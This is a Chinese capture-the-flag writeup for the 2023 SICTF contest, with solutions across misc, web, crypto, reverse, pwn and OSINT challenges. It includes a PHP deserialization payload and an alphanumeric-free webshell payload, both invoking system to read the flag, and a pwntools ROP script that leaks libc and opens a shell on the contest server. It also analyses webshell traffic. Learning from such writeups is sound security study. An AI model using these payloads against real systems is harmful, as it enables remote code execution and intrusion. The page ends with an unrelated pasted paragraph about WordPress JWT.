2023 SICTF --- wp

Misc

签到

stegsolve查看图片信息发现key:SICTF
在这里插入图片描述

在公众号 中学生CTF 上 回复 sictf 即可得到flag
在这里插入图片描述

SICTF{fb23cefd-487f-42dd-a343-2a06194efc60}
color

非预期
stegsolve打开图片查看颜色通道,发现二维码,扫描得到flag
在这里插入图片描述

SICTF{448e8531-c752-4847-ae7e-0e702a8fb915}
Hacker

追踪tcp流发现是蚁剑流量
在数据流20发现执行了命令 cat flag.txt
在这里插入图片描述

http对象导出流20对应的数据包,base64解密
在这里插入图片描述

得到flag的对称加密密文

U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQByITd05Uu05ZAv0o=

查看前面的数据流,在流15发现key : Gui_1s_shumu
在这里插入图片描述
然后Rabbit解密得到flag
在这里插入图片描述

greek_challenge

简单数学计算,写个交互脚本就行了

from pwn import *

p = remote("ctf.qsnctf.com", 10785)
while True:
    math_data = p.recvline()
    if b'SICTF{' in math_data:
        print(math_data)
        break
    elif b"=" in math_data:
        question = math_data[:-5]
        get_answer = str(eval(question)).encode()
        p.sendline(get_answer)
Hacker2

追踪tcp流,在流0发现上传了一个冰蝎3.0的webshell
在这里插入图片描述
由此得到题目要求的密钥

7d7c23e87b47368b

往下翻,在流13发现开始与服务器交互
在这里插入图片描述
得到shell名称

she1l

往后解密报文
在流24执行了 ls命令
在这里插入图片描述
解密报文得到如下信息

10.txt
5.txt
6.txt
7.txt
8.txt
9.txt
flag.txt
she1l.php

流37执行命令

cat 10.txt

解密响应报文,得到

test

此时可以猜到,后续是找到cat flag.txt的数据包解密即可
最后在流46找到数据包,解密得到

c0rRect!!!

拼接得到flag

SICTF{shell名称_密钥_文本文件中存储的字符串}
SICTF{she1l_7d7c23e87b47368b_c0rRect!!!}

Web

兔年大吉
<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?> 过新年啊~过个吉祥年~

构造pop链子到类Happy中调用__call函数,再使用回调函数call_user_func导致代码执行,获取flag
pop链子如下:

__destruct()->firecrackers()->aspiration->__set()->__get()->__invoke()->__call()

payload如下

pop=O:4:%22Year%22:2:%7Bs:3:%22key%22;s:14:%22happy%20new%20year%22;s:6:%22rabbit%22;O:6:%22Rabbit%22:1:%7Bs:18:%22%00Rabbit%00aspiration%22;O:4:%22Year%22:2:%7Bs:3:%22key%22;s:3:%22123%22;s:6:%22rabbit%22;O:4:%22Nevv%22:1:%7Bs:15:%22%00Nevv%00happiness%22;O:5:%22Happy%22:2:%7Bs:10:%22%00Happy%00cmd%22;s:6:%22system%22;s:14:%22%00Happy%00content%22;s:9:%22cat%20/flag%22;%7D%7D%7D%7D%7D

在这里插入图片描述

easypass

自增webshell,且不能出现数字和字母
刚好前几个月g4爷在ctfshow搞过rce大挑战
借鉴一下大佬的Payload

code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /flag

Crypto

ascii

循环异或3,然后base32 base64解密

enc = "a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$"
flag = ""
for i in enc:
    flag += chr(ord(i)^3)
print(flag)
#KUYGYRCWIVNDOUKYJZVE2V3MMZGVQTTGMN5EEZS2LBXWQSKTIY4Q====    

在这里插入图片描述

baby_rsa

多个小因子 大素数分解,直接用sage上的欧拉函数求phi

#sage
import libnum
import gmpy2
n = 157077292656328898849823499976497003976795705913326943955927601882559735301000546878663484930436631929909115065166613744548816622146802007640124796249330573411377703969505934904150600987843325674764620305047603408490558134670867673308099650843329640744997672015466571290660161290811275435569339606335117906571999000341133024698424364682800683662193063661214736762852739324479859236963365531207752799197178993887860855078852702337761399225640575281412171035871278933493943575572155382899938265639764715616686123949482372238288859715465115400317136714757882965887595246507450491169518000205087415380208167764110920711042584766805992237919576823121108078407699912757901788925718859790257450499775129521327827653298451904392241906547672843110356658889638496906522290674659574024024440113632175010053065452660076447040937842478007881589334096496073556056726805396937630799201696246079227214272205462258357482722478243481697053301054600954126539848778226175296162997813416634702496577009409960503948474494741296663849482119365434792563324547643352816519125305335959420429699475765642610737903235960423173
c = 44457399775772165283580795763046604956432217865936749114390645714446263790235445725770165521476841968764175721036280702731933849090719866149354613431301887740671003826556620460836983488011711209908075106260857650574672356032244606425941095128801765463716482316101398637519304864271794460829068714740938719022156283319142938782439784724450045931039355442034325311037568791297455084676548879770834712506552233840348850684727096270392080049993135041218143811167688449496243036317450681348089315258831745988434134987055263393540923865029931594717328162951158311497514418799360413513590684301435386737514918075848373373755748782672860711406169316940293554209702288482064854840802876490202123903888235028119047988176327629542924415737212649237787748145773301112682790682933658516724691338727523894513267588035437093188599375494920656327919129240066252636130803666175859640361767805549884909317548802917210333235914904622641997249853362378711924024129399688535136879208010081166848163897114124726692078532337827810846421365846926064892472698603597461932481745017020417072013702099809833423003201003030492
e = 65537
phi = euler_phi(n)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
#SICTF{13578a78-1bd1-483e-8c01-4d501c8b52bb}
xy

sage中直接使用two_squares()能得到x,y
然后进行交互即可

#sage
from pwn import *
p = remote("ctf.qsnctf.com", 'port')
while True:
    math_data = p.recvline()
    if b'SICTF{' in math_data:
        print(math_data)
        break
    elif b"number =" in math_data:
        x_y_2 = int(math_data.decode()[9::])
        x, y = two_squares(x_y_2)
        p.sendline(str(x).encode())
        p.sendline(str(y).encode())
SICTF{de44434b-b88b-4459-9790-4d58ae9b332a}
PolyRSA

解方程得到k的值,进而得到p q

from Crypto.Util.number import *
import gmpy2
n = 2931835714514227696649197851452018066969814603905505893064829694548691616628661422451386639398824072768907608195113790730392677411502544741840786734616614308622423513064577929715025601090611378413475093510051291
c = 1162375069210804266034094584942794481470301602122091344590668656120128936761168164673823514232328715217241524062023457713973727518007443604233760475552174214966591823835585191443465256735930086309706593996639864
e = 65537
k = var('k')
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
eq = p*q ==n
rec = solve(eq, k)
print(rec)
k = 10453474106135055672
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(int(m))
print(flag)
#SICTF{5abeab79-0b03-43c9-a56d-34d92f385080}
RRRSSSAAA

dp泄露

#coding:utf-8
from Crypto.Util.number import *
import gmpy2

e = 65537
n = 154243858720978602820118866455277758287334223654318945323956633685668127012462551649034724900534326698546179107853501584676890290935304784613676008667655919749627682648852472398117930471389759979432279103098572267738634433626627146280660185675121614094399255782089060202532182667463993275434746386786808729553
dp = 414447829724187823397808703878958757693775250832414113550357728233230359464880433113636330432984183165483109337095394192757735932571515450285102727598243
c = 107353143319003715532284973064969905174389167949274067058206046773012002421251301189097709121034091973243342582216724329271495555062882075119176838856174054763892910473175610614629226628025470613930226188506099489500606701109022668507012376482339056160636468427364776216626364765166621843217027512464383836160
for i in range(1,e+1):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1) ==0:
            p = ((dp*e-1)//i)+1
            q = n//p
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)
            m = pow(c,d,n)
            print(long_to_bytes(m))

解出Hint为
Alpha = 8
然后将Alpha带入,简单计算可以得到 n约等于 (816)*(12832)*(40962)*p58,将其系数整除然后开58次方可以得到一个在p附近的数,最后在这个数的前面爆破一下即可得到p。由于p的长度为512bit大于flag(PS:SICTF{uuid值})的长度,所以模p即可得到flag

from Crypto.Util.number import *
import gmpy2
from sympy import *
alpha = 8
n = 510598540378970007468346322989879190780475356832709189528874695730531468123747091318830966440138615736420891392158097533731041150162690662471483619765171875053776526546923686545162088172326434280369545887080098691661618888498451216122577703462656147845476260802989936275927468143618457014875124540773380472942489037761179303561650189545290190421786318533073909424735517884608967725919128200358535113829753453601297612782921831305721998858231417374167746154206561475003022801732102170674160043866579234096945753255309604584663823273990392197858273029361669185072049422597132579136784027822968387907216366150999438414498332890674564920800382005582891491049365978733797356415518435343495821039314228388769356638637099572998812062355774848959446125701462950655806332002764535951282449862140062574418031213788534096501985200284615865248974807525604893147298611402252296159828500266098282909607218395957805357667923653409828275804406466185333491486073920384298557332939701611488655278812282652143513835104674009767479927241052662403578967182673338296967573503287747778401579267126898937724971226916836862238412923209155792382534204896050548824028658237640251964366961727999178646613907934616655737902329568420682808750546571786374023614255135110482419627491157502417864563832543812083026753673687664854910877686333766643694031564516722983669199704788291656757271915091399977189663329054202997146978631991467923388119989473941572476162990901960011968892272676827771256008656450296183884491251752111424531449198118292179798490440493223653950102915889401116251591885909790869073018774674246846164536910633015902964911907187085243240032540938841961345835517368130042501382327926289017383981908729734129193302049155793436988510517701765733605569135643208447952662352778482137713239592896997102366230279153456455232519301534222340901671138239539845240151878610363390683459663471954623868659324304077587611084188341121303918876492043578883059738615210439439368338460631574255417822627815523601923537626576677004085017875860928802762176477815284840936951142176532768517728636562256240668409525184886142801802825451465440993457022771077957094228957592122319682216294509338262739872163482972508991702525289361105971574659126127296233247905505496525683817711366704746617027744889413904684867577081667137187623825349410229389484199608739864221035985277681307389939848405790294473878622092200837753161101695539947514614727699952200114544362051873938505591469240465379091377837297561323297393518152524513948294475770774872596601345526469590486037386767964812631618224527233850818909346007449756779707319609915127618828551910681421647307180399632857248867655836894968134457622987954781685664833951774981383914013420724637676787907498490619865488706542422141338754933476190313653530739822029700217857534243473680585150263523947891501341441371965435851479670882202992955935279933652356336270251591324623898094984119190752775236005057405257945038031382867511822173122001309505728526596893926445291712035117553637589190292816001770554129840326832888707541999454791653742647879694585329112697382151447923691770809327807665376014114552626285289291808032845544905356380497227622738746307685611140483875177839511922977657045680353723672792411661489242162646272105649970359134277499907207906149573299990033858943215801954126448693460102775418225293255402758159431943811872373682053160944887775375465971432320964554947377318554518275854303099420999992690990916801757184853847474379621177976926681977371922191722085164910430032177320954341986984523594583172470609743970245810969858512632597943721628165724329447516823159387734220282510185959768239630017162115072758419177056571781075148374822721899683720488356041096248563880547752710289151512607087038310649235610688255059182467964379544134070766646863815775576049106337955345150055151813028534690066771104188418296440067303355417210829440978858599306487361626723932883675404705319649877631289465547597225908934420304867048341698308940436377375588905463549199568800788130324653074398891097223958392703515180958466771395566567923630440881986781120062769327993137151783189811570714391264155060840731029466593405853721833971303821804104382800673631786729744779165371433211267361024896576031556979771007693215198547296582235167582106419779580693225211695215406540025468141235241168387527901851774993867055740692835931115312659500713701652905802357951993290979099170159167009106534001226859533836082801229997337966972579186548771169099646656172882424089451273021293821026173210665095782802709874946641962115525841325300318524665386511421662860490620819561338110623774842340380068922415609137358448899126553279894950604871889208579886778999174405582160576479554324208876082033912031737086248121899303730781498156597249803927142235444644481388064486155431912003641095674949903404176810866307571531389637794147871012904134653569388493652441432759092336752228939764110397029831387803943394811558386122839568158928461007578259968765727092577006588264867960486472014493774664081407186721351852883527145790575242285664659303948842228766554243966691396492391152581830022133814454196259968655735361775914705332258892954614272244452518449260489348504449204461418971768011384340273291232094176572232837038670467853897665877851434992557429017504229337778470080893449423405491607587635438331476572996201482633587271479001915768182336813417460145272910780420062773057289352127058606048428315185624554551172152106354445240590380140756355226376829443068190672329776832112173322011137862590548721676059398379694994522794474774534579546109677615257696703950497332824299576069196330271666459758430542051969093680846765661685489556479825015505460585577388300005030240514448617715276600874290664416888184557142542207029827016362686924883704397874129412267949416733492080843315519912943048041880665442664534980370689081266908497051077237188221752059058912835617635691061804481035908317765279937217591432632832678806430381325340000898958680468694182993189208039459712391492410123386884340504648296815916980264240229859574883155040793388439699245314010536014311134726579595932201351264754211113984594974123575279085420654342347792446273359397655783349850267895960713020361459104930811498666622216299579774939159380045958811891996366190154624989040001455252320159516822116133341010157165599727635333348456688307169980804760876207246783116588952529877373514768545007418968307885769960168050996962066803264260375707466369627458024513973771207018864983698407016663019106354023164759250846073414341438963394719456500998324900154652118420207057668806120330181700845296117532235012372135050553397046174401449323031309344766628888675704109715329046692002106076405553528413866402862565543443907259825033515101841485790388106868972724754988229771779715569516295419556055234476868558577442887306482605945053829666543946452255290321024138948999088611233226734197091325915223296133751626031378197131875533631358612215053149934608672729194446883476706267066475008836864936670808320239466055935088929279252129128009704233352664523535820092988950793050907265677092793104426094212209504897403359406325045852228354350509453013015487815230129380079713113632363881496974185547766115624580099624722897692297760495094913178120692467666707678647081180656345151015995338390986674404981831649353833607305738823436744297628382797810952028446046016233612873716789383675779820186248250486000672269630344269347652027789034023080859790238772676504723029078903218723114249502157501775936110552413022658586833869562215506206204712447588632398550497708640229614956652263449460598992811393334042395804931240940416629178335447861485028284981615219874331354750385150254017244750993573994159458909546341067039268159319391512934162794663414200907868505060542602841564239761181077333990423542820064315891665379550720216448942932714180923613869070005330476506812100063599659432570925437054287120906048730323556681557905787470647037629769660028387819741611799183349496549168370221978146678987457271259655273299546276899538032070218474555442304430064164467753804089753466882786069297036926063093020795423414152340563079346797084488827259011515774643776620378827875819192074121522712821147817374988804339999134520633699074448564057555026364304855373068414955699295158212425760345481057281658337956841137897162198027254556350868502178340964817530029135654659162400076087528650997151875596189190736466304722028587441680622878918057024286243448077104494316372739218635221411755498456912672491099154558604384574583302548226057069534004474532514444674565766058970748694657151540644416463532338966570743112669782840065402131461088637463019996192189423665651801811614499041923273110971446683450048861113332787126098622974613883291506736280588039145040361795192519576202306796277888696719887642051327259799873478040156450250036778305950744573270786882726162630115640020293415918210448873867037875790399234972055537649774407094382744621251926131880807765203843946682834221238903263352845265134368550124026502981782369374484091775137498831749984649699756860976525160646445060537001
c = 25311588269686177955448734593829241225577179988164713941852977611031657483354358211703127234256857543045931490595235462694154500286504335321863566904591526587164297277540588019404183750093303030110155964308233155625979213391426577001127732161793532171930032372311485789800839135378584125843945003217786635500780784536181313697728354510921343049319891609423580951127082479154042124088536642353812516362473763243425336498681024731131013712158320926550826023277898283823992258572884077276506953901984370413493389421701244517177275694290580595883324705204426546600360091062972293159479880268240701929584137714053692704173792703744319619320692061092061615202753943135058204637610994232168818081462863915909261100211958674543647005416235222620606212841753586419836448681445654681389951211124603287962397164672343026391101395393442103086256726266031275710666309840451443110824175976964355109239201609721120961810198879456321855222352235065257082872600438604687617267718725588993464084147695037610145634237788526691386358596867368523164061114195245860062033244276270480267737617206612775486335779851309426638789250166900931784751600508190450785806340839297468432626354823268011108399699249876358363866293469899572158837757748629586492339783888456600259136387616777593894789302431752391447333278000811521062096467397501227651566498970779080811188805992370970942403208432494393387894197176720244315639559895616799551357601688597541585709039366190088117378880414928532937085490713336140523926983900188378021593225550131993528275166272215028510435690944582596557549068715312515919059333916941744937308255671959764859162487792658274812322891679161915480098864709106347357292015949882243095564999283630289876842913558415205967734452657944991350268108202225952952066459093168792825684626405271617613362070897142103054139806566495183172335794957308822648116537830567396971238329939142829563169355194093529211071160078683833491919940022871862059981346961003867620542620578917684687869682550269127226291011607064545739386850054846167307744022708831833252517778607796258598290908139274345221343651583618249287308738279011682960787460189183445095638164116734700624496711487227176740828397696295620232796356005136058517828311139839381424066302086111930635998143063033446131859852797958765199173807715541045956108285596958780742834805533223538366354327087736088500599094358107164689423572964793385788194218918919596478862097292477628426360333874314260108133339375942666508606311391805252966277961758108821946154428477616100004321457604879220523742427633323872953699931521980332026241531049474031438142792394628576016121322036294740176980189940853036679375845577017978783071015970829136676221389585848058189544793760570196797629432282672371000290840492119720433350192833648839794730598188620374416865232426658538841900897108162173580739323675324880778494924038982358349531848197090990541020708295116156624389135273650491811601011636903928586011504526431498652011548693157985029456398851189821020778958527809174433156243544030624341915713810661287037659586018768085470670240790942171506843637271442721823608266490364627429331023698199955218456371716269004979764982383921294842864121196124699402037204598504310969390789092001114319822852242500941141355281693725110460506548426263105213498404197519606615831672853931646583757742145492562101250546593997874586076926641241047317510838024042147508770595175718146175716833867781581245298658392175502069483979736336330731124942036757071709086638075284655589787868565023763734664219353940143820183318534640360506287779208468427268377183973501528333749816003855834863565394122448191029578528511650194632623989208637401008114422451686312319644054514944700566430912835340518601698767128195833704182657730566589247891277627101027106635732998136735398078858899384713118593668984773592904704131402905145754570091966901120411201405256435232063295790833161132002246279663161388421997242226907126829858922174709653627696146355472690262198127338971112610753839661677080463775112411884196230185877234066728564716929551607129141735155379529048300204700285511666205204686244751557147684338591300111406075976759988295937870045743031816067994768915303111125253664865369863586807234945352445045026501495849671447691502253489642657652848949102823407762108943161789244134119866441040670840037015617307056821150285453994199024947457774647253618512995677313792036106100497936654142008173389260345411854520383366800831542339243757421033121103167943520915885043698882609693007629591093225819727653240183003450339802857059736870645197609170799838610316307123146927966669912638227587517396282910946355194781275415343491170583392480153599086125374051844306869510079152461763122622668280249192047024784624692776244265874153473114993619019113474166958126841368545758693832786756946298833891033171752534079387364641021835311861509609494125593285947444939996542402774020507531158198766149282993994638607458820211163623309687149807339960007614766879688676462400606899851539023671152038536934433128973358637812907001112093086713949701646964777013925616637956114825918525229968119306607256312727518429074253193934915609865400118400124334806320033990630595454381780378123232633134565408152216410478497582716891919477755736223636583493709691482948793995974775520709337409910573358960632077245564017495103173982250506224927848890977671698731337737945862469303397352291579706358090437359126171980555387033997507170208063868788685780633727495158542911276981383764698030088894904043298340184342818716278091407356551940358010532738356144600648671870141201656260882560550096111259047730234565173017875969390130055742832375612379167064701421263006004472414998830886590121784525812803198481744263349186310137594023961272959521982892804372412802448375074058059953851751721276448647238818757245128139844126234490887064897176175605991477364838775902549049484485649550475857257115219540606931472558004890564503134870490140656624241401747198540715275804941032074573356860460172868340373583692584902872979221114982298050586685719887060873413850621645519128954022253850929825608263273096476942591333367968509790925478388960974334157155990587259664085903377635645971389261554405014491809856113962072321115329323751880850245450855429733690986687462514539793256111238991830404264833945950057548041347552265351912075406068254301589527368376552057750656888595867048015012255350060023438752477068307445956245683183096512267217891149812719686622381240260466772552889788641876064057960173837664029586196731436456574414559972320705400861271592462379875676277251086312872195716024719468847393778892154498344296554136868868732950910162390521996660833516010868267341539744299603050842530651780425947531816479566426165422123252285427076862067553260240357395991463485011778125635347076641337205162163658915958257879189951068432591492287483129944125287963913713736174143726754563437013760958618334477377727596918588685928884428267449422751775309153821164066157157127578931430789782791432466972743083256930846560916380022935439074194208587413499830348721004306047843916090382879427208653946874404416581482497419737465638158237340330822703573665318917667360471294611610224794247546701801044290825387969994925735165223021550294577211312086169077389985367351707099712483698243658870007261177946508698830792080087400145468466457013023648585707831661968993789151545051681008263293021078693138432668411562842904645661356499891588207831214182852485507569391094080770281546830762172075737108196782354642073491890672014845707320966391491467609280627047834838773416130380735074488364271149543425149101272213833983451690912775914099688310078028317868139895586469648241691434390559738020665790535748911667198341478329818172050103593169144077713081858968945277802911631514524770516773987691162846774892828407010262766598402873965272708201519043339930474621748065360132998861911090097210247744181877811558047691563490093112810880988416880859363631693862441291401344868362517958157134815632633152101164792211199872770004214575342556751954753067436057216989105115974894826691301734658752554796336087163153087013755182247902851847839867807219615044427616326518986674768302109569955218389569458769985874451273117138435546665024826358058600551523916808015505037962468350942106702503883112975634757971636535249998962164886704286732345711210362931312187319836001555348202695806282730945501510756659164231139623277954192087899140537284122009070763979073048837471984618684020674370221463294306239424220412900401460550783283591789801735401367473630854684306273273881688896021682911944793729874921181848098382943970467341811398482121657330781393699096796050290808604481724879698091852697163383826854575487201365106673196811573729247280577781500366763330567122007588833805912087009446499739562463428568952248234506507069953596589309728265145195922268165106056450388840269349409588020300011340940321969965833519126936472969929255823540027083032424724503173052044192907375974391257436211908641463947719594493311129179150043015816776680636855703407557636501711566215605658114055289137679940955
e = 19458216662993202562182929756256684791318810848802754020883513588583377528821730559897870095442161189229950925325157413999927847684731484753811988111830295294129447423655650029218971567158117911790213848402209470536199246476182240248742771389082526603384625792117047996128232952372477895218147279573573322975526303267821446640338606290250958710008158544852602338088244940388562828263436457418528981476220691508040085291576643321726669065360399003917048894093458055139757991688086912143763420958307099065105543361779847689716282373299487102518794317683805758527645283956734672229827240143254092779918701447288342107763
coe = (8**16)*(128**32)*(4096**2)
p = gmpy2.iroot(n//coe,58)[0]
while True:
    p = prevprime(p)
    d = gmpy2.invert(e,p-1)
    m = pow(c,d,p)
    flag = long_to_bytes(m)
    if b"SICTF{" in flag:
        print(flag)
        break
    else:
        continue

#SICTF{6ee93ffd-e903-49d6-b166-44680a294851}


hashgame
from hashlib import md5
import string
dic = string.printable
enc = ['999a215b1f8372bb0f1c84c467a1506b','02b0b94ee1fa195ae7959560893f7e3c','297e7ca127d2eef674c119331fe30dff','65c162f7c43612ba1bdf4d0f2912bbc0','ed8a4ab0c0967b14e3bf6b145e153ec9','d24412e1ab190533176a653cef11b185','815e6212def15fe76ed27cec7a393d59','38026ed22fc1a91d92b5d2ef93540f20','cd7fd1517e323f26c6f1b0b6b96e3b3d','a94837b18f8f43f29448b40a6e7386ba','dc0ae7e1387be9b795f5d6299e383759','815e6212def15fe76ed27cec7a393d59','38026ed22fc1a91d92b5d2ef93540f20','dc0ae7e1387be9b795f5d6299e383759','a3655d5c04849a174d341b13d5cf5468','28c8edde3d61a0411511d3b1866f0636','011ecee7d295c066ae68d4396215c3d0','d7afde3e7059cd0a0fe09eec4b0008cd','39abe4bca904bca5a11121955a2996bf','a3655d5c04849a174d341b13d5cf5468','011ecee7d295c066ae68d4396215c3d0','28c8edde3d61a0411511d3b1866f0636','38026ed22fc1a91d92b5d2ef93540f20','dc0ae7e1387be9b795f5d6299e383759','a3655d5c04849a174d341b13d5cf5468','4c0d13d3ad6cc317017872e51d01b238','83be264eb452fcf0a1c322f2c7cbf987','4e44f1ac85cd60e3caa56bfd4afb675e','815e6212def15fe76ed27cec7a393d59','a3655d5c04849a174d341b13d5cf5468','28c8edde3d61a0411511d3b1866f0636','4e44f1ac85cd60e3caa56bfd4afb675e','ed108f6919ebadc8e809f8b86ef40b05','a94837b18f8f43f29448b40a6e7386ba','dcfcd07e645d245babe887e5e2daa016','665f644e43731ff9db3d341da5c827e1','83be264eb452fcf0a1c322f2c7cbf987','39abe4bca904bca5a11121955a2996bf','39abe4bca904bca5a11121955a2996bf','4c0d13d3ad6cc317017872e51d01b238','dc0ae7e1387be9b795f5d6299e383759','011ecee7d295c066ae68d4396215c3d0','5eccf232f5ebb3e780543372692fff18']
flag = ''
for i in enc:
    for j in dic:
        data_hex = md5(str(md5(j.encode("utf-8")).hexdigest()).encode("utf-8")).hexdigest()
        if data_hex == i:
            flag +=j
            break
print(flag)
#SICTF{837eb83b-14ad-413b-9f58-15ce02fdd9b4}

Re

checkme

python字节码还原脚本,发现和密码一类似,循环异或114514

enc = [114433, 114459, 114449, 114438, 114452, 114473, 114480, 114530, 114531, 114487, 114528, 114483, 114531, 114484, 114559, 114530, 114539, 114532, 114486, 114559, 114534, 114484, 114486, 114538, 114559, 114538, 114484, 114539, 114535, 114559, 114533, 114487, 114529, 114538, 114538, 114486, 114532, 114539, 114534, 114539, 114531, 114531, 114479]
flag = ""
for i in enc:
    flag += chr(i^114514)
print(flag)
#SICTF{b01e2a1f-096d-4fd8-8f95-7e388d694911}
Super Mario Bros

根据图片可以猜到是一个Python的exe,反编译得到源码,然后做个简单异或即可

enc = [10, 9, 23, 2, 23, 109, 15, 7, 4, 3, 58, 71, 22, 51, 82, 93, 20, 92, 93, 28, 41, 3, 25, 78, 0, 44, 16]
key = 'level num'
flag =''
for i in range(len(enc)):
    flag += chr(ord(key[i%9])^enc[i])
print(flag)
flag{Mario_1s_r3a11y_funnY}

pwn

easystack
#encoding=utf-8
from pwn import *
context.log_level="debug"
context.terminal = ['tmux', 'splitw', '-h'] 
#p=process("./20230116")
p=remote("ctf.qsnctf.com",10495)
elf=ELF("./20230116")
libc=ELF("./libc.so.6")
#libc=ELF("/home/others/glibc-all-in-one-master/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
pop_rdi_ret=0x4008a3
pop_rsi_r15_ret=0x4008a1
ret=0x4008a4
main=0x4007a2

csu1_pop4=0x40089c
csu1_pop5=0x40089b
payload1=str(512)
p.sendlineafter("read\n",payload1)

payload2=0x10*"a"+p64(csu1_pop4)+"a"*32+p64(pop_rdi_ret)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)

p.send(payload2)

p.recvuntil("sictf\n",drop=True)
temp=p.recv(6)
libc_puts=u64(temp+"\x00\x00")
libc_base=libc_puts-libc.symbols["puts"]
print hex(libc_base)
libc_system=libc_base+libc.symbols["system"]
libc_sh=libc_base+next(libc.search("/bin/sh\x00"))

#getshell
p.sendlineafter("read\n",payload1)


one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
payload2=0x10*"a"+p64(csu1_pop4)+"a"*32+p64(pop_rdi_ret)+p64(libc_sh)+p64(ret)+p64(libc_system)
#payload2=0x10*"a"+p64(target)
#gdb.attach(p)
#pause()
p.send(payload2)
p.interactive()

osint

朋友圈的秘密

在这里插入图片描述
根据树木是顺义区某中学,直接搜索 乐刻健身 顺义,只有三个地方
在这里插入图片描述
使用百度地图打开一个个地址,然后打开全景地图,找到目标 广告牌
在这里插入图片描述

反过来看一眼,只有两个店在一楼有窗户,分别是星巴克和汉堡王,不太确定是哪个店
在这里插入图片描述

只能一一测试提交,最终发现是在汉堡王内拍摄的

SICTF{北京市-顺义区-新顺南大街-11-汉堡王}
小镇后面的山

直接谷歌识图搜索
在这里插入图片描述
一个一个尝试,我试了大概10来个类似上图的地方,最后终于找到存在山脉的地点 格勒诺布尔,其山脉是阿尔卑斯山脉,所以得到flag

SICTF{格勒诺布尔-阿尔卑斯山脉}

【观海者难为水,痴心者难为情,男女情爱之苦乐,不过是意中人变成了忆中人,心上人变成了枕边人。】

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
WP-REST-API 是WordPress 的一种接口,它通过提供标准化的RESTful API,允许开发人员使用HTTP请求来访问和操作WordPress站点的内容和数据。通过这个接口,开发人员可以使用不同的编程语言和技术来与WordPress进行交互,从而使得开发更加灵活和自由。 JWT(JSON Web Token)是一种用于认证和授权的开放标准。它通过将用户信息和权限信息编码成一种加密的令牌,以实现跨服务器和跨域的身份验证。JWT 是由三部分组成的:头部、负载和签名。头部包含令牌的加密算法和类型信息,负载包含用户的相关信息,签名用于验证令牌的真实性和完整性。 WP-REST-API JWT整合了WordPress的REST API和JWT的认证机制,使得在使用WP-REST-API进行开发的过程中,可以增加身份验证和授权的功能。它允许开发人员在请求WordPress REST API时,通过在请求头或参数中提供有效的JWT令牌来验证用户的身份和权限,并根据令牌中的负载信息来进行授权。 WP-REST-API JWT的使用具有很多优势。首先,它提供了一种轻量级的身份验证方式,减少了开发的复杂性。其次,通过JWT令牌的机制,可以实现无状态的认证和授权,提高了性能和可扩展性。此外,JWT还提供了一种可靠的机制来防止伪造和篡改请求数据,增强了系统的安全性。 总而言之,WP-REST-API JWT为开发人员提供了一种方便、灵活和安全的方式来使用WordPress的REST API。它简化了身份验证和授权的过程,并通过使用JWT令牌提高了系统的性能和安全性。
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值